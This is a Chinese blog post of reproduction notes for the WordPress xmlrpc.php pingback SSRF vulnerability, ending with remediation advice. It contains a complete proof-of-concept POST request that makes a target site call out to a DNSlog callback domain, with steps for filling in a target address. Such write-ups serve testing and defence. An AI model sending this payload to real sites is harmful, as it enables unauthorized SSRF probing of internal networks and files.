本文参考https://blog.csdn.net/god_zzZ/article/details/109991484,为本人复现笔记,如有侵权可联系我删除
该漏洞工作中遇到过
一、漏洞详情
1.1 WordPress xmlrpc.php 存在SSRF漏洞
利用WordPress的xmp-rpc接口,通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
1.2 影响版本
WordPress 版本< 3.5.1
造成的影响
1、可以对业务内网进行探测。
2、攻击运行在内网或本地的应用程序(比如溢出攻击)。
3、利用file协议读取本地文件等
二、 漏洞复现
2.1 漏洞验证
第一步:直接访问这个文件,初步判断
第二步:发现POC验证数据包
需要修改数据包:
1、把GET数据包改为POST
2、获取DNSlog的子域名
3、填上目标的地址
POST /xmlrpc.php HTTP/1.1
Host: www.目标.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 310
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://g8o53x.dnslog.cn/</string></value></param>
<param><value><string>http://www.目标.com/?p=1</string></value></param>
</params>
</methodCall>
DNSLOG申请地址:
http://www.dnslog.cn/
第三步 发送数据包
验证成功!
三、 修复建议
1、通过APACHE的.htaccess屏蔽xmlrpc.php文件的访问。配置代码如下:
protect xmlrpc
<Files "xmlrpc.php">
Order Allow,Deny
Deny from all
</Files>
2、删除根目录下的xmlrpc.php。
参考文章
https://blog.csdn.net/xj28555/article/details/116839721?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-4&spm=1001.2101.3001.4242
https://blog.csdn.net/maverickpig/article/details/118571622